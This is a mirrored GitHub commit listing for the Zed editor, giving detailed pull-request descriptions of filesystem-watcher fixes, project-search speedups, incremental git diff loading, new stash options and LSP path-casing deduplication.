mirror of
https://github.com/zed-industries/zed.git
synced 2026-12-04 03:03:21 +01:00
96dec006df8758c1783c0e4b03f01299f05ddd2b
436
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
5eed2397a8 |
git_ui: Add command to create tags at HEAD (#61973)
Add a Command Palette action that creates a lightweight local tag at the active repository's HEAD. Refresh tag consumers after creation and show success or failure notifications. # Objective This adds a `git: create tag at head` Command Palette action for creating a lightweight local tag at the active repository's current `HEAD`. ## Solution The action uses the existing single-line Git modal style and notification patterns. Tag creation uses `git update-ref` with a required nonexistent previous value, preventing an existing tag from being overwritten. It also: - Supports local and remote project repositories. - Refreshes Git graph and history views after tag creation. - Shows a bottom-centered success toast. - Uses the existing critical error prompt for failures. - Documents that created tags are local and are not pushed automatically. ## Testing - `cargo test -p git test_create_ref_requires_ref_to_not_exist` - `cargo test -p git_ui test_create_tag_at_head` ## Showcase https://github.com/user-attachments/assets/81ceffdb-d5f7-4e97-b513-4ee04b55b619 --- Release Notes: - Add command to create tags at HEAD --------- Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com> Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com> |
||
|
|
20d29fc6bc |
Rewatch a directory that was deleted and recreated (#61372)
# Objective Addresses the delete-then-recreate cause reported under #53901 (@Akizay's reproduction) — a different root cause from the macOS FSEvents fd-saturation case in #61072, so this intentionally does not use a closing keyword. Supersedes #64151 (rescan stale empty directories on expand), which recovers from the same stale watch later in the UI. When a directory is deleted and quickly recreated while it is being repopulated — e.g. a build or test step that clears an output directory and then rewrites it — most of the newly-written files never appear in the project panel (nor do buffers/git status reflect them) until the workspace is reloaded. @Akizay reproduced this on Linux with a small Python script that `rmtree`s a directory and immediately recreates it with 20 files + 20 subdirectories; only the first one or two show up. ## Root cause Proven empirically on Linux/inotify (see Testing): the failure is a stale watch registration in the `fs` crate, not fd budgets and not an LSP. 1. Each watched directory has its own inotify watch (inotify is not recursive). `FsWatcher` tracks these in a `registrations` map keyed by path. 2. When the directory is deleted, the kernel silently invalidates its inotify watch (`IN_IGNORED`), but `FsWatcher`'s `registrations` entry lingers, because the delete and the recreate coalesce within one `FS_WATCH_LATENCY` (100ms) debounce window, so the worktree processes the path as still-present (metadata exists again) and never unwatches it. 3. When the worktree rescans the recreated directory and calls `watcher.add(path)`, both `FsWatcher` and the shared per-backend registration state still mark the path as watched, so no new OS watch is installed. Files written into the new directory produce no events until an unrelated rescan. 4. Separately, `scan_dir` established the directory's watch only *after* enumerating its contents (`read_dir`), leaving a TOCTOU window even when a fresh watch is created. 5. The same stale state happens when a watched directory is renamed. Its inotify watch, and the watches on its watched subdirectories, follow the moved directory, so a directory recreated at the old path goes unwatched. It also happens when an inotify queue overflow drops the removal event. This matches @Akizay's observation that inserting a `sleep` longer than `FS_WATCH_LATENCY` between the delete and the recreate fixes it: with the delete processed in its own window, the worktree unwatches the path, so the later `add` re-registers cleanly. ## Solution - `fs`: the shared registration state for each path gets a `stale` flag. On native non-recursive (Linux) watches, `dispatch` sets it before callbacks run: - for `Remove` or rename events on a registered path; - on a rename, also for every registered path under it; - for every path on a queue overflow. The next `add` for a stale path calls `unwatch`, then `watch`, and clears the flag. One repair covers every subscriber that shares the watch. A directory that stays deleted costs only a hash lookup per event; it is cleaned up through the existing `remove`. - `fs`: backend `watch`/`unwatch` calls are now made while holding the per-backend state lock. A concurrent add can't treat a path as watched before its new watch exists, and a concurrent final remove can't interleave with a repair. Backend callbacks only enqueue events, so this can't deadlock. - `worktree`: `scan_dir` installs the directory's watch before `read_dir`, so a child created during enumeration still produces an event. Polling and macOS/Windows native watches are recursive and unchanged. Known limitations: - A stale watch is repaired only when something calls `add` for that path again. The worktree scanner does this when it rescans the directory. - A poll watcher's first registration walks its tree while holding the poll backend's state lock. Poll events and other poll adds wait until it finishes; no events are lost. Disclosure per the AI policy: I investigated and developed this with an LLM agent (Claude Code / Opus 4.8), reviewing and directing each step; the measurements below are from real runs I can defend in review. ## Testing - `fs_watcher::tests::removed_or_renamed_path_is_rewatched_once` (Linux only, fake backend). Two subscribers share a directory, and its subdirectory is watched too. The test covers a removal, an overflow, a rename of the parent directory, and the same rename on a case-insensitive path. It asserts the backend's full `watch`/`unwatch` calls after a repair. Each case fails without its part of the fix. - `test_new_directory_scan_does_not_miss_event_before_adding_watcher` (worktree, Linux only). A FakeFs hook creates a file without an event while the new directory's watch is being installed. The test fails if `scan_dir` reads before watching. - `test_root_rescan_keeps_root_watcher_registered` is updated. On Linux the overflow rescan now reinstalls the root watch before reading the root, so it expects 2 root `watch` calls. On macOS and Windows it still expects 1. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed files created in a directory that was deleted and immediately recreated (for example by a build or test step that clears and repopulates an output directory) not appearing until the workspace was reloaded --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
8bbcd83968 |
Speed up project search over misclassified binary files (#64549)
Based on https://github.com/zed-industries/zed/issues/38799#issuecomment-5758593194 finding. Project search treated any NUL-free file as text, then read it whole, ran chardetng over every byte (~34 MiB/s) and decoded it into a String before searching. For raw assets (.yuv/.raw/.onnx/.glb/.tif in #38799) that cost ~8 s and ~2.6× the file size in RAM per worker. - Bound chardetng to a 1 MiB window starting at the first non-ASCII byte. - Stream-decode legacy/UTF-16 files in project search (`DecodingReader`) instead of materializing them. - Scan the single-line text pre-filter in 64 KiB blocks instead of `read_line`. - Run the control-byte check even without NULs; treat all high bytes as text so legacy encodings (windows-1251, GBK, ...) stay text. - Add magic numbers for TIFF, glTF, ELF, Mach-O, gzip/xz/zstd, SQLite, HDF5, NumPy, safetensors, GGUF, fonts, media containers and others. - Move the classifier into a `file_content` crate and use it for git commit blobs too, replacing the separate NUL-only `is_binary_content`. Measured on a 200 MiB NUL-free raw file: 8.5 s → ~1.5 s per file, no whole-file allocation. Release Notes: - Improved project search speed and memory usage over misclassified binary files |
||
|
|
7ea077c78b |
fs: Improved responsiveness when watching paths on slow or unresponsive filesystems (#63410)
# Objective When Zed watches a file or folder that doesn't exist yet, it retries every couple of seconds. Two steps in that retry can be slow: asking the filesystem whether it's case-sensitive (blocking sys call), and registering the watcher itself (which reads the whole folder tree when the watcher is recursive). If the system is slow to respond, those steps can hang for a long time as you can see inside the following logs: ``` 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.159457333s - crates/fs/src/fs_watcher.rs:85:34 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.155837042s - crates/fs/src/fs_watcher.rs:85:34 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.156099417s - crates/fs/src/fs_watcher.rs:85:34 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.155881292s - crates/fs/src/fs_watcher.rs:85:34 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.15603025s - crates/fs/src/fs_watcher.rs:85:34 2026-08-23T11:42:56+02:00 INFO [zed::reliability::hang_detection::logging] Background hang detected on Unknown: Tasks(s) that ran too long 18.155880042s - crates/fs/src/fs_watcher.rs:85:34 ``` ## Solution My solution is to unblock the blocking code so that it doesn't hang a background thread whenever the filesystem is slow to respond. The task poll now returns pending while the syscall runs on the blocking pool, so other tasks can be polled in the meantime. ## Testing Behavior is unchanged, so just testing if Zed still picks up created directories/files should be enough. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Improved responsiveness when watching paths on slow or unresponsive filesystems --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
2a4157111c |
Fix two FakeFs inaccuracies (#64569)
This PR fixes two inconsistencies in our FS testing code: - Copying a file with `overwrite: true` would not actually update the file in the FS. - Deletion of symlinks that would not work otherwise. Moving this out of some other changes I am currently working on. Release Notes: - N/A |
||
|
|
72b060af2e |
git_ui: Load diff buffers incrementally (#62536)
# Objective Opening a diff against a heavily drifted branch sits on a spinner until every changed file has loaded. Blob reads were serialized through the git job queue and enqueued in `open_buffer` completion order rather than path order, so the blob for the first excerpt could be hundreds of jobs deep. ## Solution 1. `load_blob_content` skips the job queue — blobs are content-addressed, so the read doesn't depend on the status snapshot. 2. `DiffBuffer::load` is a lazy future instead of an eagerly-spawned `Task`, so the consumer picks the concurrency. 3. `DiffMultibuffer` drives those loads through `buffered(16)`. All three are needed: dropping the queue without bounding forks thousands of `cat-file` processes, and bounding without dropping it still serializes. Trust handling is unaffected, since the untrusted-repo flags are applied in `GitBinary::build_command` rather than by the queue. Worth noting that `handle_get_blob_content` is remote-reachable, so a guest can now put up to 16 `cat-file` processes on the host instead of queueing them. ## Testing Added `project_diff::tests::test_excerpts_are_ordered_by_path`, which pins excerpt order to `PathKey` rather than to load completion order, using more files than the concurrency limit and several executor seeds. Green: `cargo test -p git_ui --lib` (131), `cargo test -p project --lib git_store` (11), `./script/clippy`. Not tested against a remote or collab project, which is where the `handle_get_blob_content` change actually matters. ### Numbers Zed repo against a base ~3000 commits back: 2346 changed files, 1794 with a blob at the merge base. Warm cache, one `cat-file` process per blob, best of two runs at each concurrency. | concurrency | total | per blob | speedup | |---|---|---|---| | 1 (previous behaviour) | 77.25s | 43.1ms | 1.00x | | 2 | 17.74s | 9.9ms | 4.35x | | 4 | 10.05s | 5.6ms | 7.69x | | 8 | 7.34s | 4.1ms | 10.52x | | 16 (this change) | 6.63s | 3.7ms | 11.65x | | 32 | 6.59s | 3.7ms | 11.73x | | 64 | 7.14s | 4.0ms | 10.82x | 16 is where the curve flattens: 32 buys another 0.7% and 64 regresses, so there's nothing above it worth the extra in-flight buffers or the extra concurrent processes on a host serving a remote peer. At one blob at a time the first excerpt waits at an arbitrary position in a 1794-deep queue, so roughly 38s on average, which lines up with the 45s full load in the recording below. It's now in the first batch. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments — none added - [x] The content adheres to Zed's UI standards — no UI changes - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase Opening a branch diff against a base ~3000 commits back, 2346 changed files. Both clips are cut to 15s to keep the file size down — the before run took 45s to finish loading. **Before** https://github.com/user-attachments/assets/d9475de8-ddd3-48a0-99e2-042a2f655b42 **After** https://github.com/user-attachments/assets/0bf0e73d-0fac-4c2a-9749-71fee376f260 --- Release Notes: - Improved how quickly a branch diff shows its first changes when the branch has drifted a long way from its base |
||
|
|
aec7395e30 |
Fix cargo shear warnings (#64340)
Also updates CI to always run this - that way we ensure that disabling or enabling tests does not become stale at some point and thus can safely add this. Release Notes: - N/A - [GPUI] N/A |
||
|
|
f092e5e9af |
fs: Improve filesystem rescan diagnostics (#64253)
## Summary Replace the broken rescan-warning rate limiter, which repeatedly emitted “not logging more” without advancing its counter. - Keep the last 10 queued path occurrences per watcher backend, preserving full paths. - Build and write rescan reports in the existing background dispatch task, keeping blocking log I/O off the native watcher reader. - Emit one error line per dispatched rescan after coalescing duplicate pathless rescans and before registration fan-out, containing the backend-provided reason, affected paths, and preceding paths. - Remove the redundant rescan warnings and rate-limit bookkeeping without changing rescan scheduling. - Add one focused test for the path history and report contents. ## Verification - `corgi test -p fs --lib` — 23 tests passed. - `corgi test -p fs --features test-support --test integration` — 24 tests passed. - `corgi fmt -p fs -- --check` - `git diff --check` Release Notes: - Improved filesystem watcher rescan diagnostics and removed repetitive “not logging more” warnings. |
||
|
|
dfec59fb1c |
Add a filesystem watching debug window (#64065)
## Summary Add `dev: Debug Filesystem Watching`, which opens a singleton, app-wide debug window for local filesystem watching. - Capture native and polling notifications before filtering/coalescing, including lost-sync/rescan markers and watcher initialization, registration, and removal errors. - Show Raw Events, Watch Roots, and Scan Exclusions in separate read-only editors with normal selection and copying. - Record only while the window is open, retain the latest 10,000 events, and periodically compact editor buffers so deleted text/history does not accumulate indefinitely. - Display local timestamps and concise event names; export full raw details, roots, exclusions, dropped-event counts, and Zed/OS version information as JSON. - Declare the renderer source that `gpui_apple`'s build script reads in Corgi's sandbox configuration. This is diagnostic tooling, not a change to watcher behavior. It captures local watcher-level events; it does not yet trace worktree scan start/completion or remote filesystems. Scan exclusions are labeled separately from OS watch roots because excluded files can still generate notifications. ## Related issues These reports motivate the capture tooling; this PR does not claim to fix them: - [#63254: Project and Git panels stop updating when the macOS FSEvents stream limit is reached](https://github.com/zed-industries/zed/issues/63254) - [#63174: Atomic file replacement leaves Linux buffers stale](https://github.com/zed-industries/zed/issues/63174) - [#58678: Worktree stops opening files/expanding folders after a lost-sync rescan storm](https://github.com/zed-industries/zed/issues/58678) - [#53480: High CPU after watcher lost sync under low file-descriptor limits](https://github.com/zed-industries/zed/issues/53480) ## Validation - `corgi build -p zed` - `corgi test -p fs --lib --features test-support fs_watcher` — 19 tests passed - `corgi test -p fs --features test-support --test integration watcher_diagnostics` — 2 tests passed, including real OS notification delivery - `cargo test -p zed watcher_debug::tests` — 7 tests passed, covering formatting, singleton lifetime, tab layout, copying/read-only behavior, selection preservation, compaction and retained storage, JSON metadata, cancellation, and save failures - Rust formatting and `git diff --check` - Manual UI smoke testing on macOS during development The UI tests use Cargo because the installed Corgi version omits `CARGO_BIN_NAME` when compiling the binary test target. Normal Corgi builds pass. ## Reviewer note The required README review acknowledgment is intentionally left for the author to remove manually after review. ## Suggested .rules additions For bounded diagnostic logs backed by an editor, trimming visible rows does not bound memory: the text buffer retains deleted text and edit history. Periodically replace the buffer/editor while preserving selection and scroll state, and test retained storage rather than only visible row count. Release Notes: - Added `dev: Debug Filesystem Watching` to inspect local watcher events, watch roots, and scan exclusions, and export diagnostic captures as JSON. |
||
|
|
6f73c7d0a4 |
fs: Replace GlobalWatcher with an OsWatcher that contains one backend (#63898)
Before, `GlobalWatcher` held a native backend and a polling backend, and its methods dispatched to one or the other. After this PR, we have `OsWatcher` which wraps a single watch backend, and `RealFs` and `FakeFs` hold a native `OsWatcher` and a polling `OsWatcher`. This moves the split closer to the place where we decide which backend should be used, and lets us clean up some indirection. A nice bonus is that the "is this backend recursive" data exists in exactly one place. Release Notes: - N/A |
||
|
|
db10a8dd73 |
fs: Refactor the code around GlobalWatcher to be more testable (#63894)
This is a pure refactoring PR to make our FS watching code more testable. It does two things: 1. Make the `GlobalWatcher` be owned by `RealFs` or `FakeFs` instead of being a process-wide global. 2. Delete `FakeWatcher` and its `Watcher` implementation, and instead mock the notify crate itself in `FakeFs` tests via the existing `WatchBackend` trait. Now all our FS watching code down to the notify boundary runs the same in tests and production. Release Notes: - N/A |
||
|
|
ad51f6825c |
fs: Remove redundant stat in RealFs metadata (#63190)
# Objective This removes an extra filesystem metadata lookup from `RealFs::metadata`. On Unix, `is_executable` performs a full extra stat(2) (std::fs::metadata) just to read `mode() & 0o111`, even though the mode bits are already present in the `symlink_metadata` result. On Windows its impl also starts with `self.exists()`, another stat. This costs one extra syscall plus one extra executor spawn per entry during the worktree background scan - I experienced millions of avoidable syscalls on a large monorepo. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Improved worktree scan performance by removing redundant executable checks. --------- Co-authored-by: Hamish <hamishc@users.noreply.github.com> |
||
|
|
63d15474c7 |
Use fewer file descriptors on macOS to detect worktree root path changes (#63863)
Previously, on macOS, we set the [WatchRoot flag](https://developer.apple.com/documentation/coreservices/kfseventstreamcreateflagwatchroot) to `FsEventStreamCreate` (via our notify fork). This causes the resulting stream to produce an event when any segment of the watched path changes due to a rename (e.g. `/Users/cole/zed/crates/gpui` -> `/Users/cole/zed2/crates/gpui`). The cost of this is that for each path we watch on macOS, we hold open file descriptors for that path and all its parents (and these are not deduplicated across watched paths). This especially blows up our file descriptor usage with non-visible worktrees from GTD jumps: ``` zed 25415 cole 721r REG 1,14 99826 168007500 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src/option.rs zed 25415 cole 722r DIR 1,14 2432 168008864 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src/rust/library/core/src zed 25415 cole 723r DIR 1,14 128 168008863 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src/rust/library/core zed 25415 cole 724r DIR 1,14 928 168008723 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src/rust/library zed 25415 cole 725r DIR 1,14 128 168008722 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src/rust zed 25415 cole 726r DIR 1,14 96 168008721 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib/src zed 25415 cole 727r DIR 1,14 704 168004176 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib/rustlib zed 25415 cole 728r DIR 1,14 256 168004175 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin/lib zed 25415 cole 729r DIR 1,14 224 168004164 /Users/cole/.rustup/toolchains/1.97.1-aarch64-apple-darwin zed 25415 cole 730r DIR 1,14 576 292591 /Users/cole/.rustup/toolchains zed 25415 cole 731r DIR 1,14 224 292480 /Users/cole/.rustup zed 25415 cole 732r DIR 1,14 8576 43880 /Users/cole zed 25415 cole 733r DIR 1,14 160 18221 /Users ``` This PR bumps our notify dependency so that we no longer set that flag, and instead just wake the background scanner loop every 5s to check whether the worktree root path has changed. Note that both before and after this change, the process_events arm of that loop checks the worktree root path in the same way before doing anything else, so there is no risk of descending further into the background scanner code with an incorrect root path. Release Notes: - Made Zed use fewer file descriptors on macOS. |
||
|
|
81da416e3f |
Show progress while cloning repositories (#63239)
## Summary - Reuse the existing Zed clone activity indicator, which previously showed only a static `Cloning <URL>` message. - Add filesystem job updates so the existing indicator can change while a job is running. - Stream exact `git clone --progress` messages into that indicator without maintaining a phase allowlist. - Preserve the final Git stderr message when cloning fails. https://github.com/user-attachments/assets/a9b8cbfd-b87f-4d83-a24b-992eb1c4de1f ## Testing - `cargo test -p fs git_clone_progress::tests -- --nocapture` - `CCACHE_DISABLE=1 ./script/clippy -p fs -p activity_indicator` - Manually cloned a repository and verified live Git progress in the activity indicator. Release Notes: - Improved repository cloning by showing live Git progress in the activity indicator. |
||
|
|
82aeef2d8f |
fs: Stop FakeFs deleting files it should leave alone (#63416)
# Objective `FakeFs::rename` deletes files in two cases where `RealFs` leaves them alone. Tests written against the fake see a file vanish where the real filesystem keeps it, so the behavior cannot be tested at all and anything relying on it drifts unnoticed. There is already a test for the first case for `RealFs`, `test_realfs_rename_ignore_if_exists_leaves_source_and_target_unchanged`, but the fake had no counterpart. ## Solution Return early in both cases instead of falling through to the removal. For `ignoreIfExists` onto an existing target, `RealFs` reports success and does not move anything. The fake kept the target but removed the source. The fix also stops recording a move that never happened, which would otherwise leave an open file handle pointing at the wrong path. For a rename onto itself with `overwrite`, POSIX requires success with no action. The fake assigned the entry onto itself and then removed it. I found this while fixing the first one, and included it. ## Testing I extended an existing test, and added two new ones. Each fails on `main` and passes here. I found this issue while working on #5369, where an LSP rename can send `ignoreIfExists` and the fake made the resulting bug impossible to write a test for. Ran the tests only on macOS as the area seems platform agnostic, but please let me know if I need to run them across all platforms. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
1e2e422c7b |
Fix settings schema missing extension-provided LSP settings on remote (#62355)
## Objective Fixes an issue where language servers provided by extensions are not included in the settings schemas served by remote servers. When connecting to a remote server via the `open_remote_project_with_existing_connection` flow (dev servers, multi-workspace reopen, git worktree picker), setup-N servers never received any extension sync, so their schemas omitted extension-provided language servers, breaking language support for remote development. ## Solution Three changes ensure that language servers provided by extensions are included in the settings schemas served by remote servers: 1. **Register connections opened via `open_remote_project_with_existing_connection` with the extension store**: dev servers, multi-workspace reopen, and the git worktree picker now register their connections with the extension store so that extensions are synced to those servers. Previously only the `open_remote_project` flow did this, so setup-N servers never received any extension sync and their schemas omitted extension language servers. 2. **Emit `ExtensionsInstalledChanged` from `HeadlessExtensionStore` after sync and install complete**: this allows the remote process to invalidate its cached settings schemas. The local `ExtensionStore` already emitted this event; without it, the remote schema cache stayed stale for the lifetime of the server process. 3. **Include available LSP adapters in the project settings schema**: this matches the user settings schema (this was fixed for `settings` in #46766 but never applied to `project_settings`). ## Testing - Manually verified that after connecting to a remote server via the `open_remote_project_with_existing_connection` flow (including dev servers and the git worktree picker), extension language servers appear in the schema served by the remote server. - Verified that `ExtensionsInstalledChanged` is emitted after sync and install complete, and that the remote schema cache is correctly invalidated and rebuilt. - Verified that the `project_settings` schema includes the available LSP adapters, matching the behavior of the user settings schema. - Reviewers should focus on the multi-workspace reopen and git worktree picker flows (the two previously unregistered flows) to confirm that extension language servers are correctly synced and appear in the schema. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase **Server / Project** — before the fix <img width="1061" height="749" alt="image" src="https://github.com/user-attachments/assets/d6c5459f-58fb-4769-a701-f6fb317adc37" /> **Local** <img width="1119" height="449" alt="image" src="https://github.com/user-attachments/assets/fb30a1e2-74f0-4439-a25f-1022ed164074" /> --- Release Notes: - Fixed an issue where language servers provided by extensions were missing from settings schemas served by remote servers. --------- Co-authored-by: vancez <vancez@users.noreply.github.com> Co-authored-by: Kirill Bulatov <kirill@zed.dev> |
||
|
|
839ab7a9f7 |
Fix shallow diffs causing a lot of computations (#63024)
For repositories with shallow mode enabled, before, Zed instantly loaded diff changes which could be very large and CPU-demanding: https://github.com/user-attachments/assets/5577730a-efef-424f-b749-501394a8b51f Now, we show the following state instead of loading: <img width="1728" height="1084" alt="after" src="https://github.com/user-attachments/assets/03cc47fe-7074-4e8b-ba12-2fefa101377d" /> (the button allows to move on and do the load nonetheless) Release Notes: - Fixed shallow diffs causing a lot of computations --------- Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de> |
||
|
|
3ea4d186a1 |
Deduplicate worktree entries from LSP paths with mismatched casing (#61392)
# Objective On case-insensitive volumes (the macOS default), language servers may return `Location` URIs whose path casing differs from the worktree's stored casing - e.g. `Utils/helpers.py` when the on-disk (and worktree) path is `utils/helpers.py`. `LspStore::open_local_buffer_via_lsp` used the LSP path verbatim, and worktree selection (`WorktreeStore::find_worktree`) does a case-sensitive prefix match, so the existing worktree was either missed (creating a duplicate invisible worktree) or matched but with a relative path that retained the LSP's intermediate-component casing. That relative path was then used to `load_file`, which inserted a brand-new `Entry` keyed by the differently-cased path alongside the existing one - producing duplicate file entries in the project panel. This was most visible when navigating Python imports (Go to Definition) where the LSP returned differently-cased paths. https://github.com/user-attachments/assets/e36930b5-8dfd-4b43-8fe4-5317d401e198 ## Solution Canonicalize the LSP-provided absolute path via `fs.canonicalize` before the worktree lookup in `LspStore::open_local_buffer_via_lsp`, so the path casing matches the filesystem and the existing worktree/entry is reused. Canonicalization failures (e.g. a path that doesn't exist on disk yet) fall back to the original path to preserve prior behavior. To enable testing this on a fake filesystem, `FakeFs` now supports `set_case_sensitive(false)` and its `canonicalize` resolves names case-insensitively, returning the stored (canonical) casing. ## Testing Added `test_open_buffer_via_lsp_case_variant_no_duplicate` in `crates/project/tests/integration/lsp_store.rs`. It opens a buffer via an LSP URI with differently-cased intermediate component (`/root/SRC/main.rs` vs `/root/src/main.rs`) on a case-insensitive FakeFs and asserts that no differently-cased entry is created and the canonical entry is preserved. Verified the test fails without the fix (`SRC/main.rs` duplicate appears) and passes with it. Existing worktree, fs, and project_panel test suites remain green. ## Self-Review Checklist: - [X] I've reviewed my own diff for quality, security, and reliability - [X] Unsafe blocks (if any) have justifying comments - [X] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [X] Tests cover the new/changed behavior - [X] Performance impact has been considered and is acceptable ## Showcase https://github.com/user-attachments/assets/f052cf10-8b45-4547-8425-00ce4050ee7c --- Release Notes: - Fixed duplicate file entries in the project panel on macOS when navigating to definitions via the language server returned paths with different casing than the worktree root. --------- Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com> |
||
|
|
282f47a544 |
Switch from cargo-machete to cargo-shear (#62643)
This results in ~110 crates being removed, and some orphaned files also. --- Release Notes: - N/A Signed-off-by: Neel <neel@zed.dev> |
||
|
|
4bdf188c99 |
Added Tracked , Staged options to stash (#62254)
# Objective Closes #62252 The Git Panel could only stash *everything* — `Stash All` runs `git stash push --include-untracked`, sweeping tracked edits and untracked files into a single entry. There was no way to stash a subset, so the common workflows of "park my tracked edits but keep my new scratch files" and "park what I've staged and keep working on the rest" required dropping to the terminal. ## Images <img width="389" height="358" alt="Screenshot 2026-08-10 at 3 10 50 PM" src="https://github.com/user-attachments/assets/18e4c943-e320-4802-ada8-59e54bf4cefd" /> <img width="504" height="462" alt="Screenshot 2026-08-10 at 3 10 37 PM" src="https://github.com/user-attachments/assets/783237eb-980d-47bc-a0f5-17b03a23a60c" /> ## Solution Add two stash variants alongside `Stash All`, surfaced in the Git Panel's overflow menu based on how the list is currently grouped, so the menu mirrors the sections the user can actually see: | Group By | Stash entries offered | | --- | --- | | None | Stash All | | Tracked & Untracked | Stash All, **Stash Tracked** | | Staged & Unstaged | Stash All, **Stash Staged** | - **`git::StashTracked`** stashes tracked changes and leaves untracked files in place. It reuses the existing pathspec plumbing (`Repository::stash_entries`), filtering the status list down to the paths to stash. - **`git::StashStaged`** stashes the index only, leaving unstaged changes in place. This *cannot* be expressed as a pathspec — a partially staged file would have its unstaged hunks stashed too — so it needs git's own `--staged` flag. That meant a new `GitRepository::stash_staged` backend method and an `optional bool staged` field on `proto::Stash` so remote projects work too. Both actions are unbound by default and are dispatchable from the command palette when the panel is focused. One subtlety worth calling out for review: `Stash Tracked` filters on `FileStatus::is_created()`, not `is_untracked()`. Staging a new file flips it from `Untracked` to `Tracked { Added }`, but the panel still lists it under **Untracked** — using `is_untracked()` meant staged-new files were silently stashed. `is_created()` is the same predicate the panel uses to build that section (`git_panel.rs`), so the menu item and the list can no longer disagree. This branch also includes a separate commit adding **per-section staging** (`git::StageSection` / `git::UnstageSection`) — right-click a file to stage or unstage every entry in its section. Happy to split that into its own PR if preferred. ## Testing Manually tested on macOS against a scratch repo with a mix of states: modified tracked files, untracked files, and untracked files that had been staged. - `Stash Tracked` with tracked edits + untracked files → only tracked edits stashed; untracked files remain. - `Stash Tracked` with untracked files **staged** → they remain, staged. This was broken in an earlier revision and drove the `is_created()` fix above. - `Stash Staged` with one file staged and another modified-but-unstaged → only the staged file is stashed; the unstaged edit and untracked files survive. - `Stash Pop` round-trips both cases back to the original state, with no conflicts. - Menu contents and disabled states verified in all three Group By modes. - Per-section staging covered by a new unit test, `test_stage_section_scopes_to_selected_section`. Not covered by automated tests: the stash actions themselves. `FakeGitRepository` leaves every stash method `unimplemented!()`, so stash behavior isn't reachable from GPUI tests today — consistent with the existing untested `StashAll`. Adding fake-repo stash support looks like a worthwhile follow-up but felt out of scope here. Reviewers on non-macOS platforms: nothing here is platform-specific. Note that `Stash Staged` requires **git 2.35+** (Jan 2022) for `git stash push --staged`; older git surfaces a clear error toast rather than failing opaquely. The remote path (`proto::Stash.staged`) has not been exercised against a live collab session. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Added `Stash Tracked` and `Stash Staged` options to the Git Panel, letting you stash only tracked changes or only staged changes. --------- Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com> |
||
|
|
8968bf7808 |
git: Decode non-UTF-8 blobs for project diffs (#60821)
